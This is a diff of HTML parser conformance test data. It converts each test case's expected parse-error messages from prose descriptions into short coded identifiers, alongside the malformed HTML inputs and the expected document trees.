@@ -261,8 +256,9 @@ Line: 1 Col: 24 End tag (a) violates step 1, paragraph 1 of the adoption agency
#data
<b><button>foo</b>bar
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 15 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
+(1,3): expected-doctype-but-got-start-tag
+(1,18): adoption-agency-1.3
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -276,7 +272,8 @@ Line: 1 Col: 15 End tag (b) violates step 1, paragraph 1 of the adoption agency
#data
<!DOCTYPE html><span><button>foo</span>bar
#errors
-39: End tag “span” seen but there were unclosed elements.
+(1,39): unexpected-end-tag
+(1,42): expected-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -289,12 +286,12 @@ Line: 1 Col: 15 End tag (b) violates step 1, paragraph 1 of the adoption agency
#data
<p><b><div><marquee></p></b></div>X
#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
-Line: 1 Col: 24 Unexpected end tag (p). Ignored.
-Line: 1 Col: 28 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 34 End tag (div) seen too early. Expected other end tag.
-Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,11): unexpected-end-tag
+(1,24): unexpected-end-tag
+(1,28): unexpected-end-tag
+(1,34): end-tag-too-early
+(1,35): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -310,8 +307,8 @@ Line: 1 Col: 35 Expected closing tag. Unexpected end of file.
#data
<script><div></script></div><title><p></title><p><p>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 28 Unexpected end tag (div). Ignored.
+(1,8): expected-doctype-but-got-start-tag
+(1,28): unexpected-end-tag
#document
| <html>
| <head>
@@ -326,10 +323,10 @@ Line: 1 Col: 28 Unexpected end tag (div). Ignored.
#data
<!--><div>--<!-->
#errors
-Line: 1 Col: 5 Incorrect comment.
-Line: 1 Col: 10 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 17 Incorrect comment.
-Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
+(1,5): incorrect-comment
+(1,10): expected-doctype-but-got-start-tag
+(1,17): incorrect-comment
+(1,17): expected-closing-tag-but-got-eof
#document
| <!-- -->
| <html>
@@ -342,8 +339,8 @@ Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
#data
<p><hr></p>
#errors
-Line: 1 Col: 3 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end tag (p). Ignored.
+(1,3): expected-doctype-but-got-start-tag
+(1,11): unexpected-end-tag
#document
| <html>
| <head>
@@ -355,12 +352,12 @@ Line: 1 Col: 11 Unexpected end tag (p). Ignored.
#data
<select><b><option><select><option></b></select>X
#errors
-Line: 1 Col: 8 Unexpected start tag (select). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected start tag token (b) in the select phase. Ignored.
-Line: 1 Col: 27 Unexpected select start tag in the select phase treated as select end tag.
-Line: 1 Col: 39 End tag (b) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 48 Unexpected end tag (select). Ignored.
-Line: 1 Col: 49 Expected closing tag. Unexpected end of file.
+(1,8): expected-doctype-but-got-start-tag
+(1,11): unexpected-start-tag-in-select
+(1,27): unexpected-select-in-select
+(1,39): unexpected-end-tag
+(1,48): unexpected-end-tag
+(1,49): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -373,16 +370,15 @@ Line: 1 Col: 49 Expected closing tag. Unexpected end of file.
#data
<a><table><td><a><table></table><a></tr><a></table><b>X</b>C<a>Y
#errors
-Line: 1 Col: 3 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected table cell start tag (td) in the table body phase.
-Line: 1 Col: 35 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 40 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 43 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 43 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 43 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 51 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 63 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 64 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,14): unexpected-cell-in-table-body
+(1,35): unexpected-start-tag-implies-end-tag
+(1,40): unexpected-cell-end-tag
+(1,43): unexpected-start-tag-implies-table-voodoo
+(1,43): unexpected-start-tag-implies-end-tag
+(1,43): unexpected-end-tag
+(1,63): unexpected-start-tag-implies-end-tag
+(1,64): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -406,10 +402,10 @@ Line: 1 Col: 64 Expected closing tag. Unexpected end of file.
#data
<a X>0<b>1<a Y>2
#errors
-Line: 1 Col: 5 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 15 End tag (a) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,15): unexpected-start-tag-implies-end-tag
+(1,15): adoption-agency-1.3
+(1,16): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -427,14 +423,23 @@ Line: 1 Col: 16 Expected closing tag. Unexpected end of file.
#data
<!-----><font><div>hello<table>excite!<b>me!<th><i>please!</tr><!--X-->
#errors
-Line: 1 Col: 7 Unexpected '-' after '--' found in comment.
-Line: 1 Col: 14 Unexpected start tag (font). Expected DOCTYPE.
-Line: 1 Col: 38 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 41 Unexpected start tag (b) in table context caused voodoo mode.
-Line: 1 Col: 48 Unexpected implied end tag (b) in the table phase.
-Line: 1 Col: 48 Unexpected table cell start tag (th) in the table body phase.
-Line: 1 Col: 63 Got table cell end tag (th) while required end tags are missing.
-Line: 1 Col: 71 Unexpected end of file. Expected table content.
+(1,7): unexpected-dash-after-double-dash-in-comment
+(1,14): expected-doctype-but-got-start-tag
+(1,41): unexpected-start-tag-implies-table-voodoo
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-start-tag-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): foster-parenting-character-in-table
+(1,48): unexpected-cell-in-table-body
+(1,63): unexpected-cell-end-tag
+(1,71): eof-in-table
#document
| <!-- - -->
| <html>
@@ -456,7 +461,6 @@ Line: 1 Col: 71 Unexpected end of file. Expected table content.
#data
<!DOCTYPE html><li>hello<li>world<ul>how<li>do</ul>you</body><!--do-->
#errors
-Line: 1 Col: 61 Unexpected end tag (li). Missing end tag (body).
#document
| <!DOCTYPE html>
| <html>
@@ -476,8 +480,8 @@ Line: 1 Col: 61 Unexpected end tag (li). Missing end tag (body).
#data
<!DOCTYPE html>A<option>B<optgroup>C<select>D</option>E
#errors
-Line: 1 Col: 54 Unexpected end tag (option) in the select phase. Ignored.
-Line: 1 Col: 55 Expected closing tag. Unexpected end of file.
+(1,54): unexpected-end-tag-in-select
+(1,55): eof-in-select
#document
| <!DOCTYPE html>
| <html>
@@ -494,8 +498,8 @@ Line: 1 Col: 55 Expected closing tag. Unexpected end of file.
#data
<
#errors
-Line: 1 Col: 1 Expected tag name. Got something else instead
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
+(1,1): expected-tag-name
+(1,1): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -505,8 +509,8 @@ Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
#data
<#
#errors
-Line: 1 Col: 1 Expected tag name. Got something else instead
-Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
+(1,1): expected-tag-name
+(1,1): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -516,8 +520,8 @@ Line: 1 Col: 1 Unexpected non-space characters. Expected DOCTYPE.
#data
</
#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected end of file.
-Line: 1 Col: 2 Unexpected non-space characters. Expected DOCTYPE.
+(1,2): expected-closing-tag-but-got-eof
+(1,2): expected-doctype-but-got-chars
#document
| <html>
| <head>
@@ -527,8 +531,8 @@ Line: 1 Col: 2 Unexpected non-space characters. Expected DOCTYPE.
#data
</#
#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected character '#' found.
-Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
+(1,2): expected-closing-tag-but-got-char
+(1,3): expected-doctype-but-got-eof
#document
| <!-- # -->
| <html>
@@ -538,8 +542,8 @@ Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
#data
<?
#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 2 Unexpected End of file. Expected DOCTYPE.
+(1,1): expected-tag-name-but-got-question-mark
+(1,2): expected-doctype-but-got-eof
#document
| <!-- ? -->
| <html>
@@ -549,8 +553,8 @@ Line: 1 Col: 2 Unexpected End of file. Expected DOCTYPE.
#data
<?#
#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
+(1,1): expected-tag-name-but-got-question-mark
+(1,3): expected-doctype-but-got-eof
#document
| <!-- ?# -->
| <html>
@@ -560,8 +564,8 @@ Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
#data
<!
#errors
-Line: 1 Col: 2 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 2 Unexpected End of file. Expected DOCTYPE.
+(1,2): expected-dashes-or-doctype
+(1,2): expected-doctype-but-got-eof
#document
| <!-- -->
| <html>
@@ -571,8 +575,8 @@ Line: 1 Col: 2 Unexpected End of file. Expected DOCTYPE.
#data
<!#
#errors
-Line: 1 Col: 3 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
+(1,2): expected-dashes-or-doctype
+(1,3): expected-doctype-but-got-eof
#document
| <!-- # -->
| <html>
@@ -582,8 +586,8 @@ Line: 1 Col: 3 Unexpected End of file. Expected DOCTYPE.
#data
<?COMMENT?>
#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 11 Unexpected End of file. Expected DOCTYPE.
+(1,1): expected-tag-name-but-got-question-mark
+(1,11): expected-doctype-but-got-eof
#document
| <!-- ?COMMENT? -->
| <html>
@@ -593,8 +597,8 @@ Line: 1 Col: 11 Unexpected End of file. Expected DOCTYPE.
#data
<!COMMENT>
#errors
-Line: 1 Col: 2 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 10 Unexpected End of file. Expected DOCTYPE.
+(1,2): expected-dashes-or-doctype
+(1,10): expected-doctype-but-got-eof
#document
| <!-- COMMENT -->
| <html>
@@ -604,8 +608,8 @@ Line: 1 Col: 10 Unexpected End of file. Expected DOCTYPE.
#data
</ COMMENT >
#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected character ' ' found.
-Line: 1 Col: 12 Unexpected End of file. Expected DOCTYPE.
+(1,2): expected-closing-tag-but-got-char
+(1,12): expected-doctype-but-got-eof
#document
| <!-- COMMENT -->
| <html>
@@ -615,8 +619,8 @@ Line: 1 Col: 12 Unexpected End of file. Expected DOCTYPE.
#data
<?COM--MENT?>
#errors
-Line: 1 Col: 1 Expected tag name. Got '?' instead. (HTML doesn't support processing instructions.)
-Line: 1 Col: 13 Unexpected End of file. Expected DOCTYPE.
+(1,1): expected-tag-name-but-got-question-mark
+(1,13): expected-doctype-but-got-eof
#document
| <!-- ?COM--MENT? -->
| <html>
@@ -626,8 +630,8 @@ Line: 1 Col: 13 Unexpected End of file. Expected DOCTYPE.
#data
<!COM--MENT>
#errors
-Line: 1 Col: 2 Expected '--' or 'DOCTYPE'. Not found.
-Line: 1 Col: 12 Unexpected End of file. Expected DOCTYPE.
+(1,2): expected-dashes-or-doctype
+(1,12): expected-doctype-but-got-eof
#document
| <!-- COM--MENT -->
| <html>
@@ -637,8 +641,8 @@ Line: 1 Col: 12 Unexpected End of file. Expected DOCTYPE.
#data
</ COM--MENT >
#errors
-Line: 1 Col: 2 Expected closing tag. Unexpected character ' ' found.
-Line: 1 Col: 14 Unexpected End of file. Expected DOCTYPE.
+(1,2): expected-closing-tag-but-got-char
+(1,14): expected-doctype-but-got-eof
#document
| <!-- COM--MENT -->
| <html>
@@ -648,7 +652,7 @@ Line: 1 Col: 14 Unexpected End of file. Expected DOCTYPE.
#data
<!DOCTYPE html><style> EOF
#errors
-Line: 1 Col: 26 Unexpected end of file. Expected end tag (style).
+(1,26): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -660,6 +664,7 @@ Line: 1 Col: 26 Unexpected end of file. Expected end tag (style).
#data
<!DOCTYPE html><script> <!-- </script> --> </script> EOF
#errors
+(1,52): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -673,8 +678,8 @@ Line: 1 Col: 26 Unexpected end of file. Expected end tag (style).
#data
<b><p></b>TEST
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 10 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
+(1,3): expected-doctype-but-got-start-tag
+(1,10): adoption-agency-1.3
#document
| <html>
| <head>
@@ -687,9 +692,9 @@ Line: 1 Col: 10 End tag (b) violates step 1, paragraph 3 of the adoption agency
#data
<p id=a><b><p id=b></b>TEST
#errors
-Line: 1 Col: 8 Unexpected start tag (p). Expected DOCTYPE.
-Line: 1 Col: 19 Unexpected end tag (p). Ignored.
-Line: 1 Col: 23 End tag (b) violates step 1, paragraph 2 of the adoption agency algorithm.
+(1,8): expected-doctype-but-got-start-tag
+(1,19): unexpected-end-tag
+(1,23): adoption-agency-1.2
#document
| <html>
| <head>
@@ -704,10 +709,10 @@ Line: 1 Col: 23 End tag (b) violates step 1, paragraph 2 of the adoption agency
#data
<b id=a><p><b id=b></p></b>TEST
#errors
-Line: 1 Col: 8 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 23 Unexpected end tag (p). Ignored.
-Line: 1 Col: 27 End tag (b) violates step 1, paragraph 2 of the adoption agency algorithm.
-Line: 1 Col: 31 Expected closing tag. Unexpected end of file.
+(1,8): expected-doctype-but-got-start-tag
+(1,23): unexpected-end-tag
+(1,27): adoption-agency-1.2
+(1,31): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -722,7 +727,7 @@ Line: 1 Col: 31 Expected closing tag. Unexpected end of file.
#data
<!DOCTYPE html><title>U-test</title><body><div><p>Test<u></p></div></body>
#errors
-Line: 1 Col: 61 Unexpected end tag (p). Ignored.
+(1,61): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -738,8 +743,8 @@ Line: 1 Col: 61 Unexpected end tag (p). Ignored.
#data
<!DOCTYPE html><font><table></font></table></font>
#errors
-Line: 1 Col: 35 Unexpected end tag (font) in table context caused voodoo mode.
-Line: 1 Col: 35 End tag (font) violates step 1, paragraph 1 of the adoption agency algorithm.
+(1,35): unexpected-end-tag-implies-table-voodoo
+(1,35): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -751,10 +756,10 @@ Line: 1 Col: 35 End tag (font) violates step 1, paragraph 1 of the adoption agen
#data
<font><p>hello<b>cruel</font>world
#errors
-Line: 1 Col: 6 Unexpected start tag (font). Expected DOCTYPE.
-Line: 1 Col: 29 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 29 End tag (font) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 34 Expected closing tag. Unexpected end of file.
+(1,6): expected-doctype-but-got-start-tag
+(1,29): adoption-agency-1.3
+(1,29): adoption-agency-1.3
+(1,34): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -771,9 +776,9 @@ Line: 1 Col: 34 Expected closing tag. Unexpected end of file.
#data
<b>Test</i>Test
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 11 End tag (i) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,11): unexpected-end-tag
+(1,15): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -784,8 +789,8 @@ Line: 1 Col: 15 Expected closing tag. Unexpected end of file.
#data
<b>A<cite>B<div>C
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -800,9 +805,9 @@ Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
#data
<b>A<cite>B<div>C</cite>D
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 24 Unexpected end tag (cite). Ignored.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,24): unexpected-end-tag
+(1,25): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -817,9 +822,9 @@ Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
#data
<b>A<cite>B<div>C</b>D
#errors
-Line: 1 Col: 3 Unexpected start tag (b). Expected DOCTYPE.
-Line: 1 Col: 21 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 22 Expected closing tag. Unexpected end of file.
+(1,3): expected-doctype-but-got-start-tag
+(1,21): adoption-agency-1.3
+(1,22): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -836,7 +841,7 @@ Line: 1 Col: 22 Expected closing tag. Unexpected end of file.
#data
#errors
-Line: 1 Col: 0 Unexpected End of file. Expected DOCTYPE.
+(1,0): expected-doctype-but-got-eof
#document
| <html>
| <head>
@@ -845,8 +850,8 @@ Line: 1 Col: 0 Unexpected End of file. Expected DOCTYPE.
#data
<DIV>
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 5 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,5): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -856,8 +861,8 @@ Line: 1 Col: 5 Expected closing tag. Unexpected end of file.
#data
<DIV> abc
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 9 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,9): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -868,8 +873,8 @@ Line: 1 Col: 9 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B>
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 13 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,13): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -881,8 +886,8 @@ Line: 1 Col: 13 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,17): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -895,8 +900,8 @@ Line: 1 Col: 17 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I>
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 21 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,21): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -910,8 +915,8 @@ Line: 1 Col: 21 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,25): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -926,8 +931,8 @@ Line: 1 Col: 25 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P>
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,29): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -943,8 +948,8 @@ Line: 1 Col: 29 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P> jkl
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 33 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,33): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -961,9 +966,9 @@ Line: 1 Col: 33 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P> jkl </B>
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 38 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,38): adoption-agency-1.3
+(1,38): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -982,9 +987,9 @@ Line: 1 Col: 38 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P> jkl </B> mno
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 42 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,38): adoption-agency-1.3
+(1,42): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1004,10 +1009,10 @@ Line: 1 Col: 42 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I>
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,38): adoption-agency-1.3
+(1,47): adoption-agency-1.3
+(1,47): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1028,10 +1033,10 @@ Line: 1 Col: 47 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I> pqr
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 51 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,38): adoption-agency-1.3
+(1,47): adoption-agency-1.3
+(1,51): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1053,10 +1058,10 @@ Line: 1 Col: 51 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I> pqr </P>
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 56 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,38): adoption-agency-1.3
+(1,47): adoption-agency-1.3
+(1,56): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1078,10 +1083,10 @@ Line: 1 Col: 56 Expected closing tag. Unexpected end of file.
#data
<DIV> abc <B> def <I> ghi <P> jkl </B> mno </I> pqr </P> stu
#errors
-Line: 1 Col: 5 Unexpected start tag (div). Expected DOCTYPE.
-Line: 1 Col: 38 End tag (b) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 47 End tag (i) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 60 Expected closing tag. Unexpected end of file.
+(1,5): expected-doctype-but-got-start-tag
+(1,38): adoption-agency-1.3
+(1,47): adoption-agency-1.3
+(1,60): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1104,8 +1109,8 @@ Line: 1 Col: 60 Expected closing tag. Unexpected end of file.
#data
<test attribute---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------->
#errors
-Line: 1 Col: 1040 Unexpected start tag (test). Expected DOCTYPE.
-Line: 1 Col: 1040 Expected closing tag. Unexpected end of file.
+(1,1040): expected-doctype-but-got-start-tag
+(1,1040): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1116,14 +1121,14 @@ Line: 1 Col: 1040 Expected closing tag. Unexpected end of file.
#data
<a href="blah">aba<table><a href="foo">br<tr><td></td></tr>x</table>aoe
#errors
-Line: 1 Col: 15 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 39 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 39 Unexpected start tag (a) implies end tag (a).
-Line: 1 Col: 39 End tag (a) violates step 1, paragraph 1 of the adoption agency algorithm.
-Line: 1 Col: 45 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 68 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
-
+(1,15): expected-doctype-but-got-start-tag
+(1,39): unexpected-start-tag-implies-table-voodoo
+(1,39): unexpected-start-tag-implies-end-tag
+(1,39): unexpected-end-tag
+(1,45): foster-parenting-character-in-table
+(1,45): foster-parenting-character-in-table
+(1,68): foster-parenting-character-in-table
+(1,71): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1148,10 +1153,9 @@ Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
#data
<a href="blah">aba<table><tr><td><a href="foo">br</td></tr>x</table>aoe
#errors
-Line: 1 Col: 15 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 54 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 60 Unexpected non-space characters in table context caused voodoo mode.
-Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
+(1,15): expected-doctype-but-got-start-tag
+(1,54): unexpected-cell-end-tag
+(1,71): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1171,12 +1175,14 @@ Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
#data
<table><a href="blah">aba<tr><td><a href="foo">br</td></tr>x</table>aoe
#errors
-Line: 1 Col: 7 Unexpected start tag (table). Expected DOCTYPE.
-Line: 1 Col: 22 Unexpected start tag (a) in table context caused voodoo mode.
-Line: 1 Col: 29 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 54 Got table cell end tag (td) while required end tags are missing.
-Line: 1 Col: 68 Unexpected implied end tag (a) in the table phase.
-Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
+(1,7): expected-doctype-but-got-start-tag
+(1,22): unexpected-start-tag-implies-table-voodoo
+(1,29): foster-parenting-character-in-table
+(1,29): foster-parenting-character-in-table
+(1,29): foster-parenting-character-in-table
+(1,54): unexpected-cell-end-tag
+(1,68): foster-parenting-character-in-table
+(1,71): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1201,9 +1207,9 @@ Line: 1 Col: 71 Expected closing tag. Unexpected end of file.
#data
<a href=a>aa<marquee>aa<a href=b>bb</marquee>aa
#errors
-Line: 1 Col: 10 Unexpected start tag (a). Expected DOCTYPE.
-Line: 1 Col: 45 End tag (marquee) seen too early. Expected other end tag.
-Line: 1 Col: 47 Expected closing tag. Unexpected end of file.
+(1,10): expected-doctype-but-got-start-tag
+(1,45): end-tag-too-early
+(1,47): expected-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1221,9 +1227,10 @@ Line: 1 Col: 47 Expected closing tag. Unexpected end of file.
#data
<wbr><strike><code></strike><code><strike></code>
#errors
-Line: 1 Col: 5 Unexpected start tag (wbr). Expected DOCTYPE.
-Line: 1 Col: 28 End tag (strike) violates step 1, paragraph 3 of the adoption agency algorithm.
-Line: 1 Col: 49 Unexpected end tag (code). Ignored.
+(1,5): expected-doctype-but-got-start-tag
+(1,28): adoption-agency-1.3
+(1,49): adoption-agency-1.3
+(1,49): expected-closing-tag-but-got-eof
#document
| <html>
